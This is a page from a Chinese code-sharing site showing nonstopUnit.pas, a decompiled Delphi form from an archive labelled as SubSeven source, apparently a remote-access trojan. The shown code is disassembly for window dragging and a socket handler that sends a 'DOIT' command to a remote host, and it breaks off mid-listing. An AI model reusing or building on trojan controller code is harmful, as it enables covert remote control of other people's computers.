开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
nonstopUnit.pas
资源名称：subseven_src.zip　[点击查看]
上传用户：gdszzsp
上传日期：2007-01-08
资源大小：621k
文件大小：78k
源码类别：

远程控制编程

开发平台：

Delphi

nonstopUnit.pas：源码内容
  1. unit nonstopUnit;
  3. interface
  5. uses
  6.   Windows, Messages, SysUtils, Classes, Graphics,
  7.   Controls, Forms, Dialogs, StdCtrls, Gauges, ExtCtrls,
  8.   ScktComp;
  10. type
  11.   TnonstopForm=class(TForm)
  12.     lab: TLabel;
  13.     CaptionLabel: TLabel;
  14.     CloseButton: TFlatSpeedButton;
  15.     pro: TGauge;
  16.     Shape1: TShape;
  17.     OutlookBtn2: TOutlookBtn;
  18.     Image1: TImage;
  19.     OutlookBtn3: TOutlookBtn;
  20.     Label1: TLabel;
  21.     MonitorClicks: TFlatCheckBox;
  22.     RxSpinEdit: TRxSpinEdit;
  23.     doitnow: TTimer;
  24.     ClientSocket1: TClientSocket;
  25.     procedure CaptionLabelMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  26.     procedure CaptionLabelMouseMove(Sender: TObject; Shift: TShiftState; X: Integer; Y: Integer);
  27.     procedure CaptionLabelMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  28.     procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
  29.     procedure ClientSocket1Disconnect(Sender: TObject; Socket: TCustomWinSocket);
  30.     procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
  31.     procedure CloseButtonClick(Sender: TObject);
  32.     procedure doitnowTimer(Sender: TObject);
  33.     procedure FormCreate(Sender: TObject);
  34.     procedure FormPaint(Sender: TObject);
  35.     procedure FormResize(Sender: TObject);
  36.     procedure Image1MouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  37.     procedure OutlookBtn2Click(Sender: TObject);
  38.     procedure OutlookBtn3Click(Sender: TObject);
  39.   private
  40.     { Private declarations }
  41.   public
  42.     { Public declarations }
  43.   end ;
  45. var
  46.   nonstopForm: TnonstopForm;
  49. {This file is generated by DeDe v2.34 (c) 1999 by DaFixer}
  51. implementation
  53. {$R *.DFM}
  56. procedure TnonstopForm.CaptionLabelMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  57. begin
  58. {
  59. 004DBD70   55                     push    ebp
  60. 004DBD71   8BEC                   mov     ebp, esp
  61. 004DBD73   53                     push    ebx
  62. 004DBD74   8BD8                   mov     ebx, eax
  63. 004DBD76   8B83C4020000           mov     eax, [ebx+$02C4]
  64. 004DBD7C   8B4024                 mov     eax, [eax+$24]
  65. 004DBD7F   E85807F6FF             call    0043C4DC
  66. 004DBD84   50                     push    eax
  68. * Reference to: SHBrowseForFolderA.SetCapture
  69. |
  70. 004DBD85   E8EEBAF2FF             call    00407878
  71. 004DBD8A   C78300030000FFFFFFFF   mov     dword ptr [ebx+$0300], $FFFFFFFF
  72. 004DBD94   8B450C                 mov     eax, [ebp+$0C]
  73. 004DBD97   8983F8020000           mov     [ebx+$02F8], eax
  74. 004DBD9D   8B4508                 mov     eax, [ebp+$08]
  75. 004DBDA0   8983FC020000           mov     [ebx+$02FC], eax
  76. 004DBDA6   5B                     pop     ebx
  77. 004DBDA7   5D                     pop     ebp
  78. 004DBDA8   C20C                   ret     $0C
  81. }
  82.  end ; 
  84. procedure TnonstopForm.CaptionLabelMouseMove(Sender: TObject; Shift: TShiftState; X: Integer; Y: Integer);
  85. begin
  86. {
  87. 004DBDAC   55                     push    ebp
  88. 004DBDAD   8BEC                   mov     ebp, esp
  89. 004DBDAF   53                     push    ebx
  90. 004DBDB0   56                     push    esi
  91. 004DBDB1   8BD8                   mov     ebx, eax
  92. 004DBDB3   83BB0003000000         cmp     dword ptr [ebx+$0300], +$00
  93. 004DBDBA   7433                   jz      004DBDEF
  94. 004DBDBC   8B83C4020000           mov     eax, [ebx+$02C4]
  95. 004DBDC2   8B7024                 mov     esi, [eax+$24]
  96. 004DBDC5   8B83F8020000           mov     eax, [ebx+$02F8]
  97. 004DBDCB   2B450C                 sub     eax, dword ptr [ebp+$0C]
  98. 004DBDCE   8B5630                 mov     edx, [esi+$30]
  99. 004DBDD1   2BD0                   sub     edx, eax
  100. 004DBDD3   8BC6                   mov     eax, esi
  101. 004DBDD5   E8D2A0F5FF             call    00435EAC
  102. 004DBDDA   8B83FC020000           mov     eax, [ebx+$02FC]
  103. 004DBDE0   2B4508                 sub     eax, dword ptr [ebp+$08]
  104. 004DBDE3   8B5634                 mov     edx, [esi+$34]
  105. 004DBDE6   2BD0                   sub     edx, eax
  106. 004DBDE8   8BC6                   mov     eax, esi
  107. 004DBDEA   E8E1A0F5FF             call    00435ED0
  108. 004DBDEF   5E                     pop     esi
  109. 004DBDF0   5B                     pop     ebx
  110. 004DBDF1   5D                     pop     ebp
  111. 004DBDF2   C208                   ret     $08
  114. }
  115.  end ; 
  117. procedure TnonstopForm.CaptionLabelMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  118. begin
  119. {
  120. 004DBDF8   55                     push    ebp
  121. 004DBDF9   8BEC                   mov     ebp, esp
  122. 004DBDFB   53                     push    ebx
  123. 004DBDFC   56                     push    esi
  124. 004DBDFD   8BD8                   mov     ebx, eax
  125. 004DBDFF   83BB0003000000         cmp     dword ptr [ebx+$0300], +$00
  126. 004DBE06   7440                   jz      004DBE48
  127. 004DBE08   8B83C4020000           mov     eax, [ebx+$02C4]
  128. 004DBE0E   8B7024                 mov     esi, [eax+$24]
  130. * Reference to: SHBrowseForFolderA.ReleaseCapture
  131. |
  132. 004DBE11   E812BAF2FF             call    00407828
  133. 004DBE16   33C0                   xor     eax, eax
  134. 004DBE18   898300030000           mov     [ebx+$0300], eax
  135. 004DBE1E   8B83F8020000           mov     eax, [ebx+$02F8]
  136. 004DBE24   2B450C                 sub     eax, dword ptr [ebp+$0C]
  137. 004DBE27   8B5630                 mov     edx, [esi+$30]
  138. 004DBE2A   2BD0                   sub     edx, eax
  139. 004DBE2C   8BC6                   mov     eax, esi
  140. 004DBE2E   E879A0F5FF             call    00435EAC
  141. 004DBE33   8B83FC020000           mov     eax, [ebx+$02FC]
  142. 004DBE39   2B4508                 sub     eax, dword ptr [ebp+$08]
  143. 004DBE3C   8B5634                 mov     edx, [esi+$34]
  144. 004DBE3F   2BD0                   sub     edx, eax
  145. 004DBE41   8BC6                   mov     eax, esi
  146. 004DBE43   E888A0F5FF             call    00435ED0
  147. 004DBE48   5E                     pop     esi
  148. 004DBE49   5B                     pop     ebx
  149. 004DBE4A   5D                     pop     ebp
  150. 004DBE4B   C20C                   ret     $0C
  153. }
  154.  end ; 
  156. procedure TnonstopForm.ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
  157. begin
  158. {
  159. 004DC10C   55                     push    ebp
  160. 004DC10D   8BEC                   mov     ebp, esp
  161. 004DC10F   6A00                   push    $00
  162. 004DC111   6A00                   push    $00
  163. 004DC113   6A00                   push    $00
  164. 004DC115   6A00                   push    $00
  165. 004DC117   53                     push    ebx
  166. 004DC118   56                     push    esi
  167. 004DC119   57                     push    edi
  168. 004DC11A   8945FC                 mov     [ebp-$04], eax
  169. 004DC11D   BBAC735400             mov     ebx, $005473AC
  170. 004DC122   33C0                   xor     eax, eax
  171. 004DC124   55                     push    ebp
  172. 004DC125   6844C34D00             push    $004DC344
  174. ***** TRY
  175. |
  176. 004DC12A   64FF30                 push    dword ptr fs:[eax]
  177. 004DC12D   648920                 mov     fs:[eax], esp
  178. 004DC130   8D55F0                 lea     edx, [ebp-$10]
  179. 004DC133   A1DC495400             mov     eax, dword ptr [$5449DC]
  180. 004DC138   8B00                   mov     eax, [eax]
  181. 004DC13A   8B80D8070000           mov     eax, [eax+$07D8]
  182. 004DC140   8B8050020000           mov     eax, [eax+$0250]
  183. 004DC146   E821CDF2FF             call    00408E6C
  184. 004DC14B   8B55F0                 mov     edx, [ebp-$10]
  185. 004DC14E   8BC3                   mov     eax, ebx
  186. 004DC150   E85B7BF2FF             call    00403CB0
  187. 004DC155   8B03                   mov     eax, [ebx]
  188. 004DC157   E87C7DF2FF             call    00403ED8
  189. 004DC15C   48                     dec     eax
  190. 004DC15D   750E                   jnz     004DC16D
  191. 004DC15F   8BC3                   mov     eax, ebx
  192. 004DC161   8B0B                   mov     ecx, [ebx]
  194. * Possible String Reference to: "00"
  195. |
  196. 004DC163   BA5CC34D00             mov     edx, $004DC35C
  197. 004DC168   E8B77DF2FF             call    00403F24
  198. 004DC16D   8B03                   mov     eax, [ebx]
  199. 004DC16F   E8647DF2FF             call    00403ED8
  200. 004DC174   83F802                 cmp     eax, +$02
  201. 004DC177   750E                   jnz     004DC187
  202. 004DC179   8BC3                   mov     eax, ebx
  203. 004DC17B   8B0B                   mov     ecx, [ebx]
  204. 004DC17D   BA68C34D00             mov     edx, $004DC368
  205. 004DC182   E89D7DF2FF             call    00403F24
  206. 004DC187   833B00                 cmp     dword ptr [ebx], +$00
  207. 004DC18A   750C                   jnz     004DC198
  208. 004DC18C   8BC3                   mov     eax, ebx
  210. * Possible String Reference to: "040"
  211. |
  212. 004DC18E   BA74C34D00             mov     edx, $004DC374
  213. 004DC193   E8187BF2FF             call    00403CB0
  214. 004DC198   8B03                   mov     eax, [ebx]
  215. 004DC19A   E8397DF2FF             call    00403ED8
  216. 004DC19F   48                     dec     eax
  217. 004DC1A0   7510                   jnz     004DC1B2
  218. 004DC1A2   8BC3                   mov     eax, ebx
  219. 004DC1A4   8B0B                   mov     ecx, [ebx]
  221. * Possible String Reference to: "00"
  222. |
  223. 004DC1A6   BA5CC34D00             mov     edx, $004DC35C
  224. 004DC1AB   E8747DF2FF             call    00403F24
  225. 004DC1B0   EB1A                   jmp     004DC1CC
  226. 004DC1B2   8B03                   mov     eax, [ebx]
  227. 004DC1B4   E81F7DF2FF             call    00403ED8
  228. 004DC1B9   83F802                 cmp     eax, +$02
  229. 004DC1BC   750E                   jnz     004DC1CC
  230. 004DC1BE   8BC3                   mov     eax, ebx
  231. 004DC1C0   8B0B                   mov     ecx, [ebx]
  232. 004DC1C2   BA68C34D00             mov     edx, $004DC368
  233. 004DC1C7   E8587DF2FF             call    00403F24
  234. 004DC1CC   8D55F8                 lea     edx, [ebp-$08]
  235. 004DC1CF   8B45FC                 mov     eax, [ebp-$04]
  236. 004DC1D2   8B80CC020000           mov     eax, [eax+$02CC]
  237. 004DC1D8   8B4038                 mov     eax, [eax+$38]
  238. 004DC1DB   E88CCCF2FF             call    00408E6C
  239. 004DC1E0   8D55F4                 lea     edx, [ebp-$0C]
  240. 004DC1E3   8B45FC                 mov     eax, [ebp-$04]
  241. 004DC1E6   8B80CC020000           mov     eax, [eax+$02CC]
  242. 004DC1EC   8B403C                 mov     eax, [eax+$3C]
  243. 004DC1EF   E878CCF2FF             call    00408E6C
  244. 004DC1F4   8B45F8                 mov     eax, [ebp-$08]
  245. 004DC1F7   E8DC7CF2FF             call    00403ED8
  246. 004DC1FC   48                     dec     eax
  247. 004DC1FD   7512                   jnz     004DC211
  248. 004DC1FF   8D45F8                 lea     eax, [ebp-$08]
  249. 004DC202   8B4DF8                 mov     ecx, [ebp-$08]
  251. * Possible String Reference to: "000"
  252. |
  253. 004DC205   BA80C34D00             mov     edx, $004DC380
  254. 004DC20A   E8157DF2FF             call    00403F24
  255. 004DC20F   EB3C                   jmp     004DC24D
  256. 004DC211   8B45F8                 mov     eax, [ebp-$08]
  257. 004DC214   E8BF7CF2FF             call    00403ED8
  258. 004DC219   83F802                 cmp     eax, +$02
  259. 004DC21C   7512                   jnz     004DC230
  260. 004DC21E   8D45F8                 lea     eax, [ebp-$08]
  261. 004DC221   8B4DF8                 mov     ecx, [ebp-$08]
  263. * Possible String Reference to: "00"
  264. |
  265. 004DC224   BA5CC34D00             mov     edx, $004DC35C
  266. 004DC229   E8F67CF2FF             call    00403F24
  267. 004DC22E   EB1D                   jmp     004DC24D
  268. 004DC230   8B45F8                 mov     eax, [ebp-$08]
  269. 004DC233   E8A07CF2FF             call    00403ED8
  270. 004DC238   83F803                 cmp     eax, +$03
  271. 004DC23B   7510                   jnz     004DC24D
  272. 004DC23D   8D45F8                 lea     eax, [ebp-$08]
  273. 004DC240   8B4DF8                 mov     ecx, [ebp-$08]
  274. 004DC243   BA68C34D00             mov     edx, $004DC368
  275. 004DC248   E8D77CF2FF             call    00403F24
  276. 004DC24D   8B45F4                 mov     eax, [ebp-$0C]
  277. 004DC250   E8837CF2FF             call    00403ED8
  278. 004DC255   48                     dec     eax
  279. 004DC256   7512                   jnz     004DC26A
  280. 004DC258   8D45F4                 lea     eax, [ebp-$0C]
  281. 004DC25B   8B4DF4                 mov     ecx, [ebp-$0C]
  283. * Possible String Reference to: "000"
  284. |
  285. 004DC25E   BA80C34D00             mov     edx, $004DC380
  286. 004DC263   E8BC7CF2FF             call    00403F24
  287. 004DC268   EB3C                   jmp     004DC2A6
  288. 004DC26A   8B45F4                 mov     eax, [ebp-$0C]
  289. 004DC26D   E8667CF2FF             call    00403ED8
  290. 004DC272   83F802                 cmp     eax, +$02
  291. 004DC275   7512                   jnz     004DC289
  292. 004DC277   8D45F4                 lea     eax, [ebp-$0C]
  293. 004DC27A   8B4DF4                 mov     ecx, [ebp-$0C]
  295. * Possible String Reference to: "00"
  296. |
  297. 004DC27D   BA5CC34D00             mov     edx, $004DC35C
  298. 004DC282   E89D7CF2FF             call    00403F24
  299. 004DC287   EB1D                   jmp     004DC2A6
  300. 004DC289   8B45F4                 mov     eax, [ebp-$0C]
  301. 004DC28C   E8477CF2FF             call    00403ED8
  302. 004DC291   83F803                 cmp     eax, +$03
  303. 004DC294   7510                   jnz     004DC2A6
  304. 004DC296   8D45F4                 lea     eax, [ebp-$0C]
  305. 004DC299   8B4DF4                 mov     ecx, [ebp-$0C]
  306. 004DC29C   BA68C34D00             mov     edx, $004DC368
  307. 004DC2A1   E87E7CF2FF             call    00403F24
  308. 004DC2A6   33C0                   xor     eax, eax
  309. 004DC2A8   55                     push    ebp
  310. 004DC2A9   68EFC24D00             push    $004DC2EF
  312. ***** TRY
  313. |
  314. 004DC2AE   64FF30                 push    dword ptr fs:[eax]
  315. 004DC2B1   648920                 mov     fs:[eax], esp
  317. * Possible String Reference to: "DOIT"
  318. |
  319. 004DC2B4   688CC34D00             push    $004DC38C
  320. 004DC2B9   FF33                   push    dword ptr [ebx]
  321. 004DC2BB   FF75F8                 push    dword ptr [ebp-$08]
  322. 004DC2BE   FF75F4                 push    dword ptr [ebp-$0C]
  323. 004DC2C1   8D45F0                 lea     eax, [ebp-$10]
  324. 004DC2C4   BA04000000             mov     edx, $00000004
  325. 004DC2C9   E8CA7CF2FF             call    00403F98
  326. 004DC2CE   8B55F0                 mov     edx, [ebp-$10]
  327. 004DC2D1   8B45FC                 mov     eax, [ebp-$04]
  328. 004DC2D4   8B80D4020000           mov     eax, [eax+$02D4]
  329. 004DC2DA   8B8080000000           mov     eax, [eax+$0080]
  330. 004DC2E0   E83F13FAFF             call    0047D624
  331. 004DC2E5   33C0                   xor     eax, eax
  332. 004DC2E7   5A                     pop     edx
  333. 004DC2E8   59                     pop     ecx
  334. 004DC2E9   59                     pop     ecx
  335. 004DC2EA   648910                 mov     fs:[eax], edx
  336. 004DC2ED   EB1A                   jmp     004DC309
  338. ****** EXCEPT
  339. |
  340. 004DC2EF   E96471F2FF             jmp     00403458
  341. 004DC2F4   8B45FC                 mov     eax, [ebp-$04]
  342. 004DC2F7   8B80D0020000           mov     eax, [eax+$02D0]
  343. 004DC2FD   B201                   mov     dl, $01
  344. 004DC2FF   E8BC9EF7FF             call    004561C0
  345. 004DC304   E8FF73F2FF             call    00403708
  347. ****** END
  348. |
  349. 004DC309   8B45FC                 mov     eax, [ebp-$04]
  350. 004DC30C   8B80DC020000           mov     eax, [eax+$02DC]
  351. 004DC312   33D2                   xor     edx, edx
  352. 004DC314   E8C7A2F5FF             call    004365E0
  353. 004DC319   8B45FC                 mov     eax, [ebp-$04]
  354. 004DC31C   8B80D8020000           mov     eax, [eax+$02D8]
  355. 004DC322   B201                   mov     dl, $01
  356. 004DC324   E8B7A2F5FF             call    004365E0
  357. 004DC329   33C0                   xor     eax, eax
  358. 004DC32B   5A                     pop     edx
  359. 004DC32C   59                     pop     ecx
  360. 004DC32D   59                     pop     ecx
  361. 004DC32E   648910                 mov     fs:[eax], edx
  363. ****** FINALLY
  364. |
  366. * Possible String Reference to: "_^[嬪]